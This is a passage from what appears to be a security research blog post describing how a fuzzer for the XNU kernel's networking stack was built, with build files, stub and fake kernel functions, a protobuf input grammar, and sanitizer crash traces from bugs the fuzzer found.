fuzz/net_fuzzer.proto)\n\nadd_executable(net_fuzzer fuzz/net_fuzzer.cc ${NET_PROTO_SRCS} ${NET_PROTO_HDRS})\n\ntarget_include_directories(net_fuzzer PRIVATE libprotobuf-mutator)\n\ntarget_compile_options(net_fuzzer PRIVATE ${FUZZER_CXX_FLAGS}) \n \n--- \n \n \nOf course, without the rest of the kernel, we see tons of missing symbols.\n\n\"_zdestroy\", referenced from:\n\n_if_clone_detach in libxnu.a(if.c.o)\n\n\"_zfree\", referenced from:\n\n_kqueue_destroy in libxnu.a(kern_event.c.o)\n\n_knote_free in libxnu.a(kern_event.c.o)\n\n_kqworkloop_get_or_create in libxnu.a(kern_event.c.o)\n\n_kev_delete in libxnu.a(kern_event.c.o)\n\n_pipepair_alloc in libxnu.a(sys_pipe.c.o)\n\n_pipepair_destroy_pipe in libxnu.a(sys_pipe.c.o)\n\n_so_cache_timer in libxnu.a(uipc_socket.c.o)\n\n...\n\n\"_zinit\", referenced from:\n\n_knote_init in libxnu.a(kern_event.c.o)\n\n_kern_event_init in libxnu.a(kern_event.c.o)\n\n_pipeinit in libxnu.a(sys_pipe.c.o)\n\n_socketinit in libxnu.a(uipc_socket.c.o)\n\n_unp_init in libxnu.a(uipc_usrreq.c.o)\n\n_cfil_init in libxnu.a(content_filter.c.o)\n\n_tcp_init in libxnu.a(tcp_subr.c.o)\n\n...\n\n\"_zone_change\", referenced from:\n\n_knote_init in libxnu.a(kern_event.c.o)\n\n_kern_event_init in libxnu.a(kern_event.c.o)\n\n_socketinit in libxnu.a(uipc_socket.c.o)\n\n_cfil_init in libxnu.a(content_filter.c.o)\n\n_tcp_init in libxnu.a(tcp_subr.c.o)\n\n_ifa_init in libxnu.a(if.c.o)\n\n_if_clone_attach in libxnu.a(if.c.o)\n\n...\n\nld: symbol(s) not found for architecture x86_64\n\nclang: error: linker command failed with exit code 1 (use -v to see invocation)\n\nninja: build stopped: subcommand failed. \n \n--- \n \n \nTo get our initial targeted fuzzer working, we can do a simple trick by linking against a file containing stubbed implementations of all of these. We take advantage of C\u2019s weak type system here. For each function we need to implement, we can link an implementation void func() { assert(false); }. The arguments passed to the function are simply ignored, and a crash will occur whenever the target code attempts to call it. This goal can be achieved with linker flags, but it was a simple enough solution that allowed me to get nice backtraces when I hit an unimplemented function.\n\n// Unimplemented stub functions\n\n// These should be replaced with real or mock impls.\n\n#include <kern/assert.h>\n\n#include <stdbool.h>\n\nint printf(const char* format, ...);\n\nvoid Assert(const char* file, int line, const char* expression) {\n\nprintf(\"%s: assert failed on line %d: %s\\n\", file, line, expression);\n\n__builtin_trap();\n\n}\n\nvoid IOBSDGetPlatformUUID() { assert(false); }\n\nvoid IOMapperInsertPage() { assert(false); }\n\n// ... \n \n--- \n \n \nThen we just link this file into the XNU library we\u2019re building by adding it to the source list:\n\nset(XNU_SOURCES\n\nbsd/conf/param.c\n\nbsd/kern/kern_asl.c\n\n# ...\n\nfuzz/syscall_wrappers.c\n\nfuzz/ioctl.c\n\nfuzz/backend.c\n\nfuzz/stubs.c\n\nfuzz/fake_impls.c \n \n--- \n \n \nAs you can see, there are some other files I included in the XNU library that represent faked implementations and helper code to expose some internal kernel APIs. To make sure our fuzz target will call code in the linked library, and not some other host functions (syscalls) with a clashing name, we hide all of the symbols in libxnu by default and then expose a set of wrappers that call those functions on our behalf. I hide all the names by default using a CMake setting set_target_properties(xnu PROPERTIES C_VISIBILITY_PRESET hidden). Then we can link in a file (fuzz/syscall_wrappers.c) containing wrappers like the following:\n\n__attribute__((visibility(\"default\"))) int accept_wrapper(int s, caddr_t name,\n\nsocklen_t* anamelen,\n\nint* retval) {\n\nstruct accept_args uap = {\n\n.s = s,\n\n.name = name,\n\n.anamelen = anamelen,\n\n};\n\nreturn accept(kernproc, &uap, retval);\n\n} \n \n--- \n \nNote the visibility attribute that explicitly exports the symbol from the library. Due to the simplicity of these wrappers I created a script to automate this called generate_fuzzer.py using syscalls.master. \n\n\nWith the stubs in place, we can start writing a fuzz target now and come back to deal with implementing them later. We will see a crash every time the target code attempts to use one of the functions we initially left out. Then we get to decide to either include the real implementation (and perhaps recursively require even more stubbed function implementations) or to fake the functionality.\n\nA bonus of getting a build working with CMake was to create multiple targets with different instrumentation. Doing so allows me to generate coverage reports using clang-coverage:\n\ntarget_compile_options(xnu-cov PRIVATE ${XNU_C_FLAGS} -DLIBXNU_BUILD=1 -D_FORTIFY_SOURCE=0 -fprofile-instr-generate -fcoverage-mapping) \n \n--- \n \n \nWith that, we just add a fuzz target file and a protobuf file to use with protobuf-mutator and we\u2019re ready to get started:\n\nprotobuf_generate_cpp(NET_PROTO_SRCS NET_PROTO_HDRS fuzz/net_fuzzer.proto)\n\nadd_executable(net_fuzzer fuzz/net_fuzzer.cc ${NET_PROTO_SRCS} ${NET_PROTO_HDRS})\n\ntarget_include_directories(net_fuzzer PRIVATE libprotobuf-mutator)\n\ntarget_compile_options(net_fuzzer\n\nPRIVATE -g\n\n-std=c++11\n\n-Werror\n\n-Wno-address-of-packed-member\n\n${FUZZER_CXX_FLAGS})\n\nif(APPLE)\n\ntarget_link_libraries(net_fuzzer ${FUZZER_LD_FLAGS} xnu fuzzer protobuf-mutator ${Protobuf_LIBRARIES})\n\nelse()\n\ntarget_link_libraries(net_fuzzer ${FUZZER_LD_FLAGS} xnu fuzzer protobuf-mutator ${Protobuf_LIBRARIES} pthread)\n\nendif(APPLE) \n \n--- \n \nWriting a Fuzz Target\n\nAt this point, we\u2019ve assembled a chunk of XNU into a convenient library, but we still need to interact with it by writing a fuzz target. At first, I thought I might write many targets for different features, but I decided to write one monolithic target for this project. I\u2019m sure fine-grained targets could do a better job for functionality that\u2019s harder to fuzz, e.g., the TCP state machine, but we will stick to one for simplicity.\n\nWe\u2019ll start by specifying an input grammar using protobuf, part of which is depicted below. This grammar is completely arbitrary and will be used by a corresponding C++ harness that we will write next. LibFuzzer has a plugin called libprotobuf-mutator that knows how to mutate protobuf messages. This will enable us to do grammar-based mutational fuzzing efficiently, while still leveraging coverage guided feedback. This is a very powerful combination.\n\nmessage Socket {\n\nrequired Domain domain = 1;\n\nrequired SoType so_type = 2;\n\nrequired Protocol protocol = 3;\n\n// TODO: options, e.g. SO_ACCEPTCONN\n\n}\n\nmessage Close {\n\nrequired FileDescriptor fd = 1;\n\n}\n\nmessage SetSocketOpt {\n\noptional Protocol level = 1;\n\noptional SocketOptName name = 2;\n\n// TODO(nedwill): structure for val\n\noptional bytes val = 3;\n\noptional FileDescriptor fd = 4;\n\n}\n\nmessage Command {\n\noneof command {\n\nPacket ip_input = 1;\n\nSetSocketOpt set_sock_opt = 2;\n\nSocket socket = 3;\n\nClose close = 4;\n\n}\n\n}\n\nmessage Session {\n\nrepeated Command commands = 1;\n\nrequired bytes data_provider = 2;\n\n} \n \n--- \n \nI left some TODO comments intact so you can see how the grammar can always be improved. As I\u2019ve done in similar fuzzing projects, I have a top-level message called Session that encapsulates a single fuzzer iteration or test case. This session contains a sequence of \u201ccommands\u201d and a sequence of bytes that can be used when random, unstructured data is needed (e.g., when doing a copyin). Commands are syscalls or random packets, which in turn are their own messages that have associated data. For example, we might have a session that has a single Command message containing a \u201cSocket\u201d message. That Socket message has data associated with each argument to the syscall. In our C++-based target, it\u2019s our job to translate messages of this custom specification into real syscalls and related API calls. We inform libprotobuf-mutator that our fuzz target expects to receive one \u201cSession\u201d message at a time via the macro DEFINE_BINARY_PROTO_FUZZER. \n\n\nDEFINE_BINARY_PROTO_FUZZER(const Session &session) {\n\n// ...\n\nstd::set<int> open_fds;\n\nfor (const Command &command : session.commands()) {\n\nint retval = 0;\n\nswitch (command.command_case()) {\n\ncase Command::kSocket: {\n\nint fd = 0;\n\nint err = socket_wrapper(command.socket().domain(),\n\ncommand.socket().so_type(),\n\ncommand.socket().protocol(), &fd);\n\nif (err == 0) {\n\n// Make sure we're tracking fds properly.\n\nif (open_fds.find(fd) != open_fds.end()) {\n\nprintf(\"Found existing fd %d\\n\", fd);\n\nassert(false);\n\n}\n\nopen_fds.insert(fd);\n\n}\n\nbreak;\n\n}\n\ncase Command::kClose: {\n\nopen_fds.erase(command.close().fd());\n\nclose_wrapper(command.close().fd(), nullptr);\n\nbreak;\n\n}\n\ncase Command::kSetSockOpt: {\n\nint s = command.set_sock_opt().fd();\n\nint level = command.set_sock_opt().level();\n\nint name = command.set_sock_opt().name();\n\nsize_t size = command.set_sock_opt().val().size();\n\nstd::unique_ptr<char[]> val(new char[size]);\n\nmemcpy(val.get(), command.set_sock_opt().val().data(), size);\n\nsetsockopt_wrapper(s, level, name, val.get(), size, nullptr);\n\nbreak;\n\n} \n \n--- \n \nWhile syscalls are typically a straightforward translation of the protobuf message, other commands are more complex. In order to improve the structure of randomly generated packets, I added custom message types that I then converted into the relevant on-the-wire structure before passing it into ip_input. Here\u2019s how this looks for TCP:\n\nmessage Packet {\n\noneof packet {\n\nTcpPacket tcp_packet = 1;\n\n}\n\n}\n\nmessage TcpPacket {\n\nrequired IpHdr ip_hdr = 1;\n\nrequired TcpHdr tcp_hdr = 2;\n\noptional bytes data = 3;\n\n}\n\nmessage IpHdr {\n\nrequired uint32 ip_hl = 1;\n\nrequired IpVersion ip_v = 2;\n\nrequired uint32 ip_tos = 3;\n\nrequired uint32 ip_len = 4;\n\nrequired uint32 ip_id = 5;\n\nrequired uint32 ip_off = 6;\n\nrequired uint32 ip_ttl = 7;\n\nrequired Protocol ip_p = 8;\n\nrequired InAddr ip_src = 9;\n\nrequired InAddr ip_dst = 10;\n\n}\n\nmessage TcpHdr {\n\nrequired Port th_sport = 1;\n\nrequired Port th_dport = 2;\n\nrequired TcpSeq th_seq = 3;\n\nrequired TcpSeq th_ack = 4;\n\nrequired uint32 th_off = 5;\n\nrepeated TcpFlag th_flags = 6;\n\nrequired uint32 th_win = 7;\n\nrequired uint32 th_sum = 8;\n\nrequired uint32 th_urp = 9;\n\n// Ned's extensions\n\nrequired bool is_pure_syn = 10;\n\nrequired bool is_pure_ack = 11;\n\n} \n \n--- \n \nUnfortunately, protobuf doesn\u2019t support a uint8 type, so I had to use uint32 for some fields. That\u2019s some lost fuzzing performance. You can also see some synthetic TCP header flags I added to make certain flag combinations more likely: is_pure_syn and is_pure_ack. Now I have to write some code to stitch together a valid packet from these nested fields. Shown below is the code to handle just the TCP header.\n\nstd::string get_tcp_hdr(const TcpHdr &hdr) {\n\nstruct tcphdr tcphdr = {\n\n.th_sport = (unsigned short)hdr.th_sport(),\n\n.th_dport = (unsigned short)hdr.th_dport(),\n\n.th_seq = __builtin_bswap32(hdr.th_seq()),\n\n.th_ack = __builtin_bswap32(hdr.th_ack()),\n\n.th_off = hdr.th_off(),\n\n.th_flags = 0,\n\n.th_win = (unsigned short)hdr.th_win(),\n\n.th_sum = 0, // TODO(nedwill): calculate the checksum instead of skipping it\n\n.th_urp = (unsigned short)hdr.th_urp(),\n\n};\n\nfor (const int flag : hdr.th_flags()) {\n\ntcphdr.th_flags ^= flag;\n\n}\n\n// Prefer pure syn\n\nif (hdr.is_pure_syn()) {\n\ntcphdr.th_flags &= ~(TH_RST | TH_ACK);\n\ntcphdr.th_flags |= TH_SYN;\n\n} else if (hdr.is_pure_ack()) {\n\ntcphdr.th_flags &= ~(TH_RST | TH_SYN);\n\ntcphdr.th_flags |= TH_ACK;\n\n}\n\nstd::string dat((char *)&tcphdr, (char *)&tcphdr + sizeof(tcphdr));\n\nreturn dat;\n\n} \n \n--- \n \n \nAs you can see, I make liberal use of a custom grammar to enable better quality fuzzing. These efforts are worth it, as randomizing high level structure is more efficient. It will also be easier for us to interpret crashing test cases later as they will have the same high level representation.\n\nHigh-Level Emulation\n\nNow that we have the code building and an initial fuzz target running, we begin the first pass at implementing all of the stubbed code that is reachable by our fuzz target. Because we have a fuzz target that builds and runs, we now get instant feedback about which functions our target hits. Some core functionality has to be supported before we can find any bugs, so the first attempt to run the fuzzer deserves its own development phase. For example, until dynamic memory allocation is supported, almost no kernel code we try to cover will work considering how heavily such code is used.\n\nWe\u2019ll be implementing our stubbed functions with fake variants that attempt to have the same semantics. For example, when testing code that uses an external database library, you could replace the database with a simple in-memory implementation. If you don\u2019t care about finding database bugs, this often makes fuzzing simpler and more robust. For some kernel subsystems unrelated to networking we can use entirely different or null implementations. This process is reminiscent of high-level emulation, an idea used in game console emulation. Rather than aiming to emulate hardware, you can try to preserve the semantics but use a custom implementation of the API. Because we only care about testing networking, this is how we approach faking subsystems in this project.\n\nI always start by looking at the original function implementation. If it\u2019s possible, I just link in that code as well. But some functionality isn\u2019t compatible with our fuzzer and must be faked. For example, zalloc should call the userland malloc since virtual memory is already managed by our host kernel and we have allocator facilities available. Similarly, copyin and copyout need to be faked as they no longer serve to copy data between user and kernel pages. Sometimes we also just \u201cnop\u201d out functionality that we don\u2019t care about. We\u2019ll cover these decisions in more detail later in the \u201cHigh-Level Emulation\u201d phase. Note that by implementing these stubs lazily whenever our fuzz target hits them, we immediately reduce the work in handling all the unrelated functions by an order of magnitude. It\u2019s easier to stay motivated when you only implement fakes for functions that are used by the target code. This approach successfully saved me a lot of time and I\u2019ve used it on subsequent projects as well. At the time of writing, I have 398 stubbed functions, about 250 functions that are trivially faked (return 0 or void functions that do nothing), and about 25 functions that I faked myself (almost all related to porting the memory allocation systems to userland).\n\n# Booting Up\n\nAs soon as we start running the fuzzer, we\u2019ll run into a snag: many resources require a one-time initialization that happens on boot. The BSD half of the kernel is mostly initialized by calling the bsd_init function. That function, in turn, calls several subsystem-specific initialization functions. Keeping with the theme of supporting a minimally necessary subset of the kernel, rather than call bsd_init, we create a new function that only initializes parts of the kernel as needed.\n\nHere\u2019s an example crash that occurs without the one time kernel bootup initialization:\n\n#7 0x7effbc464ad0 in zalloc /source/build3/../fuzz/zalloc.c:35:3\n\n#8 0x7effbb62eab4 in pipepair_alloc /source/build3/../bsd/kern/sys_pipe.c:634:24\n\n#9 0x7effbb62ded5 in pipe /source/build3/../bsd/kern/sys_pipe.c:425:10\n\n#10 0x7effbc4588ab in pipe_wrapper /source/build3/../fuzz/syscall_wrappers.c:216:10\n\n#11 0x4ee1a4 in TestOneProtoInput(Session const&) /source/build3/../fuzz/net_fuzzer.cc:979:19 \n \n--- \n \nOur zalloc implementation (covered in the next section) failed because the pipe zone wasn\u2019t yet initialized:\n\nstatic int\n\npipepair_alloc(struct pipe **rp_out, struct pipe **wp_out)\n\n{\n\nstruct pipepair *pp = zalloc(pipe_zone); \n \n--- \n \nScrolling up in sys_pipe.c, we see where that zone is initialized:\n\nvoid\n\npipeinit(void)\n\n{\n\nnbigpipe = 0;\n\nvm_size_t zone_size;\n\nzone_size = 8192 * sizeof(struct pipepair);\n\npipe_zone = zinit(sizeof(struct pipepair), zone_size, 4096, \"pipe zone\"); \n \n--- \n \nSure enough, this function is called by bsd_init. By adding that to our initial setup function the zone works as expected. After some development cycles spent supporting all the needed bsd_init function calls, we have the following:\n\n__attribute__((visibility(\"default\"))) bool initialize_network() {\n\nmcache_init();\n\nmbinit();\n\neventhandler_init();\n\npipeinit();\n\ndlil_init();\n\nsocketinit();\n\ndomaininit();\n\nloopattach();\n\nether_family_init();\n\ntcp_cc_init();\n\nnet_init_run();\n\nint res = necp_init();\n\nassert(!res);\n\nreturn true;\n\n} \n \n--- \n \n \nThe original bsd_init is 683 lines long, but our initialize_network clone is the preceding short snippet. I want to remark how cool I found it that you could \u201cboot\u201d a kernel like this and have everything work so long as you implemented all the relevant stubs. It just goes to show a surprising fact: a significant amount of kernel code is portable, and simple steps can be taken to make it testable. These codebases can be modernized without being fully rewritten. As this \u201cboot\u201d relies on dynamic allocation, let\u2019s look at how I implemented that next.\n\n# Dynamic Memory Allocation\n\nProviding a virtual memory abstraction is a fundamental goal of most kernels, but the good news is this is out of scope for this project (this is left as an exercise for the reader). Because networking already assumes working virtual memory, the network stack functions almost entirely on top of high-level allocator APIs. This makes the subsystem amenable to \u201chigh-level emulation\u201d. We can create a thin shim layer that intercepts XNU specific allocator calls and translates them to the relevant host APIs.\n\nIn practice, we have to handle three types of allocations for this project: \u201cclassic\u201d allocations (malloc/calloc/free), zone allocations (zalloc), and mbuf (memory buffers). The first two types are more fundamental allocation types used across XNU, while mbufs are a common data structure used in low-level networking code.\n\nThe zone allocator is reasonably complicated, but we use a simplified model for our purposes: we just track the size assigned to a zone when it is created and make sure we malloc that size when zalloc is later called using the initialized zone. This could undoubtedly be modeled better, but this initial model worked quite well for the types of bugs I was looking for. In practice, this simplification affects exploitability, but we aren\u2019t worried about that for a fuzzing project as we can assess that manually once we discover an issue. As you can see below, I created a custom zone type that simply stored the configured size, knowing that my zinit would return an opaque pointer that would be passed to my zalloc implementation, which could then use calloc to service the request. zfree simply freed the requested bytes and ignored the zone, as allocation sizes are tracked by the host malloc already.\n\nstruct zone {\n\nuintptr_t size;\n\n};\n\nstruct zone* zinit(uintptr_t size, uintptr_t max, uintptr_t alloc,\n\nconst char* name) {\n\nstruct zone* zone = (struct zone*)calloc(1, sizeof(struct zone));\n\nzone->size = size;\n\nreturn zone;\n\n}\n\nvoid* zalloc(struct zone* zone) {\n\nassert(zone != NULL);\n\nreturn calloc(1, zone->size);\n\n}\n\nvoid zfree(void* zone, void* dat) {\n\n(void)zone;\n\nfree(dat);\n\n} \n \n--- \n \nKalloc, kfree, and related functions were passed through to malloc and free as well. You can see fuzz/zalloc.c for their implementations. Mbufs (memory buffers) are more work to implement because they contain considerable metadata that is exposed to the \u201cclient\u201d networking code.\n\nstruct m_hdr {\n\nstruct mbuf *mh_next; /* next buffer in chain */\n\nstruct mbuf *mh_nextpkt; /* next chain in queue/record */\n\ncaddr_t mh_data; /* location of data */\n\nint32_t mh_len; /* amount of data in this mbuf */\n\nu_int16_t mh_type; /* type of data in this mbuf */\n\nu_int16_t mh_flags; /* flags; see below */\n\n};\n\n/*\n\n* The mbuf object\n\n*/\n\nstruct mbuf {\n\nstruct m_hdr m_hdr;\n\nunion {\n\nstruct {\n\nstruct pkthdr MH_pkthdr; /* M_PKTHDR set */\n\nunion {\n\nstruct m_ext MH_ext; /* M_EXT set */\n\nchar MH_databuf[_MHLEN];\n\n} MH_dat;\n\n} MH;\n\nchar M_databuf[_MLEN]; /* !M_PKTHDR, !M_EXT */\n\n} M_dat;\n\n}; \n \n--- \n \n \nI didn\u2019t include the pkthdr nor m_ext structure definitions, but they are nontrivial (you can see for yourself in bsd/sys/mbuf.h). A lot of trial and error was needed to create a simplified mbuf format that would work. In practice, I use an inline buffer when possible and, when necessary, locate the data in one large external buffer and set the M_EXT flag. As these allocations must be aligned, I use posix_memalign to create them, rather than malloc. Fortunately ASAN can help manage these allocations, so we can detect some bugs with this modification.\n\nTwo bugs I reported via the Project Zero tracker highlight the benefit of the heap-based mbuf implementation. In the [first report](<https://bugs.chromium.org/p/project-zero/issues/detail?id=1981>), I detected an mbuf double free using ASAN. While the m_free implementation tries to detect double frees by checking the state of the allocation, ASAN goes even further by quarantining recently freed allocations to detect the bug. In this case, it looks like the fuzzer would have found the bug either way, but it was impressive. The [second issue](<https://bugs.chromium.org/p/project-zero/issues/detail?id=1976>) linked is much subtler and requires some instrumentation to detect the bug, as it is a use after free read of an mbuf:\n\n==22568==ERROR: AddressSanitizer: heap-use-after-free on address 0x61500026afe5 at pc 0x7ff60f95cace bp 0x7ffd4d5617b0 sp 0x7ffd4d5617a8\n\nREAD of size 1 at 0x61500026afe5 thread T0\n\n#0 0x7ff60f95cacd in tcp_input bsd/netinet/tcp_input.c:5029:25\n\n#1 0x7ff60f949321 in tcp6_input bsd/netinet/tcp_input.c:1062:2\n\n#2 0x7ff60fa9263c in ip6_input bsd/netinet6/ip6_input.c:1277:10\n\n0x61500026afe5 is located 229 bytes inside of 256-byte region [0x61500026af00,0x61500026b000)\n\nfreed by thread T0 here:\n\n#0 0x4a158d in free /b/swarming/w/ir/cache/builder/src/third_party/llvm/compiler-rt/lib/asan/asan_malloc_linux.cpp:123:3\n\n#1 0x7ff60fb7444d in m_free fuzz/zalloc.c:220:3\n\n#2 0x7ff60f4e3527 in m_freem bsd/kern/uipc_mbuf.c:4842:7\n\n#3 0x7ff60f5334c9 in sbappendstream_rcvdemux bsd/kern/uipc_socket2.c:1472:3\n\n#4 0x7ff60f95821d in tcp_input bsd/netinet/tcp_input.c:5019:8\n\n#5 0x7ff60f949321 in tcp6_input bsd/netinet/tcp_input.c:1062:2\n\n#6 0x7ff60fa9263c in ip6_input bsd/netinet6/ip6_input.c:1277:10 \n \n--- \n \n \nApple managed to catch this issue before I reported it, fixing it in iOS 13. I believe Apple has added some internal hardening or testing for mbufs that caught this bug. It could be anything from a hardened mbuf allocator like [GWP-ASAN](<https://llvm.org/docs/GwpAsan.html>), to an internal ARM MTE test, to simple auditing, but it was really cool to see this issue detected in this way, and also that Apple was proactive enough to find this themselves.\n\n# Accessing User Memory\n\nWhen talking about this project with a fellow attendee at a fuzzing conference, their biggest question was how I handled user memory access. Kernels are never supposed to trust pointers provided by user-space, so whenever the kernel wants to access memory-mapped in userspace, it goes through intermediate functions copyin and copyout. By replacing these functions with our fake implementations, we can supply fuzzer-provided input to the tested code. The real kernel would have done the relevant copies from user to kernel pages. Because these copies are driven by the target code and not our testcase, I added a buffer in the protobuf specification to be used to service these requests.\n\nHere\u2019s a backtrace from our stub before we implement `copyin`. As you can see, when calling the `recvfrom` syscall, our fuzzer passed in a pointer as an argument.\n\n#6 0x7fe1176952f3 in Assert /source/build3/../fuzz/stubs.c:21:3\n\n#7 0x7fe11769a110 in copyin /source/build3/../fuzz/fake_impls.c:408:3\n\n#8 0x7fe116951a18 in __copyin_chk /source/build3/../bsd/libkern/copyio.h:47:9\n\n#9 0x7fe116951a18 in recvfrom_nocancel /source/build3/../bsd/kern/uipc_syscalls.c:2056:11\n\n#10 0x7fe117691a86 in recvfrom_nocancel_wrapper /source/build3/../fuzz/syscall_wrappers.c:244:10\n\n#11 0x4e933a in TestOneProtoInput(Session const&) /source/build3/../fuzz/net_fuzzer.cc:936:9\n\n#12 0x4e43b8 in LLVMFuzzerTestOneInput /source/build3/../fuzz/net_fuzzer.cc:631:1 \n \n--- \n \nI\u2019ve extended the copyin specification with my fuzzer-specific semantics: when the pointer (void*)1 is passed as an address, we interpret this as a request to fetch arbitrary bytes. Otherwise, we copy directly from that virtual memory address. This way, we can begin by passing (void*)1 everywhere in the fuzz target to get as much cheap coverage as possible. Later, as we want to construct well-formed data to pass into syscalls, we build the data in the protobuf test case handler and pass a real pointer to it, allowing it to be copied. This flexibility saves us time while permitting the construction of highly-structured data inputs as we see fit.\n\nint __attribute__((warn_unused_result))\n\ncopyin(void* user_addr, void* kernel_addr, size_t nbytes) {\n\n// Address 1 means use fuzzed bytes, otherwise use real bytes.\n\n// NOTE: this does not support nested useraddr.\n\nif (user_addr != (void*)1) {\n\nmemcpy(kernel_addr, user_addr, nbytes);\n\nreturn 0;\n\n}\n\nif (get_fuzzed_bool()) {\n\nreturn -1;\n\n}\n\nget_fuzzed_bytes(kernel_addr, nbytes);\n\nreturn 0;\n\n} \n \n--- \n \nCopyout is designed similarly. We often don\u2019t care about the data copied out; we just care about the safety of the accesses. For that reason, we make sure to memcpy from the source buffer in all cases, using a temporary buffer when a copy to (void*)1 occurs. If the kernel copies out of bounds or from freed memory, for example, ASAN will catch it and inform us about a memory disclosure vulnerability.\n\n# Synchronization and Threads\n\nAmong the many changes made to XNU\u2019s behavior to support this project, perhaps the most extensive and invasive are the changes I made to the synchronization and threading model. Before beginning this project, I had spent over a year working on Chrome browser process research, where high level \u201csequences\u201d are [preferred to using physical threads](<https://chromium.googlesource.com/chromium/src/+/master/docs/threading_and_tasks.md#prefer-sequences-to-physical-threads>). Despite a paucity of data races, Chrome still had sequence-related bugs that were triggered by randomly servicing some of the pending work in between performing synchronous IPC calls. In an exploit for a bug found by the [AppCache fuzzer](<https://source.chromium.org/chromium/chromium/src/+/master:content/browser/appcache/appcache_fuzzer.cc;l=275;drc=db9ae7941adc1d95c943accce9e0151d265fd640>), sleep calls were needed to get the asynchronous work to be completed before queueing up some more work synchronously. So I already knew that asynchronous continuation-passing style concurrency could have exploitable bugs that are easy to discover with this fuzzing approach.\n\nI suspected I could find similar bugs if I used a similar model for sockfuzzer. Because XNU uses multiple kernel threads in its networking stack, I would have to port it to a cooperative style. To do this, I provided no-op implementations for all of the thread management functions and sync primitives, and instead randomly called the work functions that would have been called by the real threads. This involved modifying code: most worker threads run in a loop, processing new work as it comes in. I modified these infinitely looping helper functions to do one iteration of work and exposed them to the fuzzer frontend. Then I called them randomly as part of the protobuf message. The main benefit of doing the project this way was improved performance and determinism. Places where the kernel could block the fuzzer were modified to return early. Overall, it was a lot simpler and easier to manage a single-threaded process. But this decision did not end up yielding as many bugs as I had hoped. For example, I suspected that interleaving garbage collection of various network-related structures with syscalls would be more effective. It did achieve the goal of removing threading-related headaches from deploying the fuzzer, but this is a serious weakness that I would like to address in future fuzzer revisions.\n\n# Randomness\n\nRandomness is another service provided by kernels to userland (e.g. /dev/random) and in-kernel services requiring it. This is easy to emulate: we can just return as many bytes as were requested from the current test case\u2019s data_provider field.\n\n# Authentication\n\nXNU features some mechanisms (KAuth, mac checks, user checks) to determine whether a given syscall is permissible. Because of the importance and relative rarity of bugs in XNU, and my willingness to triage false positives, I decided to allow all actions by default. For example, the TCP multipath code requires a special entitlement, but disabling this functionality precludes us from finding Ian\u2019s multipath vulnerability. Rather than fuzz only code accessible inside the app sandbox, I figured I would just triage whatever comes up and report it with the appropriate severity in mind.\n\nFor example, when we create a socket, the kernel checks whether the running process is allowed to make a socket of the given domain, type, and protocol provided their KAuth credentials:\n\nstatic int\n\nsocket_common(struct proc *p,\n\nint domain,\n\nint type,\n\nint protocol,\n\npid_t epid,\n\nint32_t *retval,\n\nint delegate)\n\n{\n\nstruct socket *so;\n\nstruct fileproc *fp;\n\nint fd, error;\n\nAUDIT_ARG(socket, domain, type, protocol);\n\n#if CONFIG_MACF_SOCKET_SUBSET\n\nif ((error = mac_socket_check_create(kauth_cred_get(), domain,\n\ntype, protocol)) != 0) {\n\nreturn error;\n\n}\n\n#endif /* MAC_SOCKET_SUBSET */ \n \n--- \n \nWhen we reach this function in our fuzzer, we trigger an assert crash as this functionality was stubbed.\n\n#6 0x7f58f49b53f3 in Assert /source/build3/../fuzz/stubs.c:21:3\n\n#7 0x7f58f49ba070 in kauth_cred_get /source/build3/../fuzz/fake_impls.c:272:3\n\n#8 0x7f58f3c70889 in socket_common /source/build3/../bsd/kern/uipc_syscalls.c:242:39\n\n#9 0x7f58f3c7043a in socket /source/build3/../bsd/kern/uipc_syscalls.c:214:9\n\n#10 0x7f58f49b45e3 in socket_wrapper /source/build3/../fuzz/syscall_wrappers.c:371:10\n\n#11 0x4e8598 in TestOneProtoInput(Session const&) /source/build3/../fuzz/net_fuzzer.cc:655:19 \n \n--- \n \nNow, we need to implement kauth_cred_get. In this case, we return a (void*)1 pointer so that NULL checks on the value will pass (and if it turns out we need to model this correctly, we\u2019ll crash again when the pointer is used).\n\nvoid* kauth_cred_get() {\n\nreturn (void*)1;\n\n} \n \n--- \n \nNow we crash actually checking the KAuth permissions. \n\n\n#6 0x7fbe9219a3f3 in Assert /source/build3/../fuzz/stubs.c:21:3\n\n#7 0x7fbe9219f100 in mac_socket_check_create /source/build3/../fuzz/fake_impls.c:312:33\n\n#8 0x7fbe914558a3 in socket_common /source/build3/../bsd/kern/uipc_syscalls.c:242:15\n\n#9 0x7fbe9145543a in socket /source/build3/../bsd/kern/uipc_syscalls.c:214:9\n\n#10 0x7fbe921995e3 in socket_wrapper /source/build3/../fuzz/syscall_wrappers.c:371:10\n\n#11 0x4e8598 in TestOneProtoInput(Session const&) /source/build3/../fuzz/net_fuzzer.cc:655:19\n\n#12 0x4e76c2 in LLVMFuzzerTestOneInput /source/build3/../fuzz/net_fuzzer.cc:631:1 \n \n--- \n \nNow we simply return 0 and move on.\n\nint mac_socket_check_create() { return 0; } \n \n--- \n \nAs you can see, we don\u2019t always need to do a lot of work to fake functionality. We can opt for a much simpler model that still gets us the results we want. \n\n\nCoverage Guided Development\n\nWe\u2019ve paid a sizable initial cost to implement this fuzz target, but we\u2019re now entering the longest and most fun stage of the project: iterating and maintaining the fuzzer. We begin by running the fuzzer continuously (in my case, I ensured it could run on ClusterFuzz). A day of work then consists of fetching the latest corpus, running a clang-coverage visualization pass over it, and viewing the report. While initially most of the work involved fixing assertion failures to get the fuzzer working, we now look for silent implementation deficiencies only visible in the coverage reports. A snippet from the report looks like the following:\n\n[](<https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjypy5nffIIMxqcIAkEku-SJldrsLbyXhU-th0AbxjTCf8e8hM-L4hpsxAJUbibDeaTMsiHpirbmlNqKqSa3eIdd1bJYm9HtfDoVTNbItsbu7xdZDq5gG9eK5l8qHEblS7LoyglGzTqzn_1l5XXNIBf9YOdT2JiJ2_6wiE9_Yd7KrDaM-MhERHw4myg/s658/image4.png>)\n\nThis excerpt from IP option handling shows that we don\u2019t support the various packets well with the current version of the fuzzer and grammar. Having this visualization is enormously helpful and necessary to succeed, as it is a source of truth about your fuzz target. By directing development work around these reports, it\u2019s relatively easy to plan actionable and high-value tasks around the fuzzer.\n\nI like to think about improving a fuzz target by either improving \u201csoundness\u201d or \u201ccompleteness.\u201d Logicians probably wouldn\u2019t be happy with how I\u2019m loosely using these terms, but they are a good metaphor for the task. To start with, we can improve the completeness of a given fuzz target by helping it reach code that we know to be reachable based on manual review. In the above example, I would suspect very strongly that the uncovered option handling code is reachable. But despite a long fuzzing campaign, these lines are uncovered, and therefore our fuzz target is incomplete, somehow unable to generate inputs reaching these lines. There are two ways to get this needed coverage: in a top-down or bottom-up 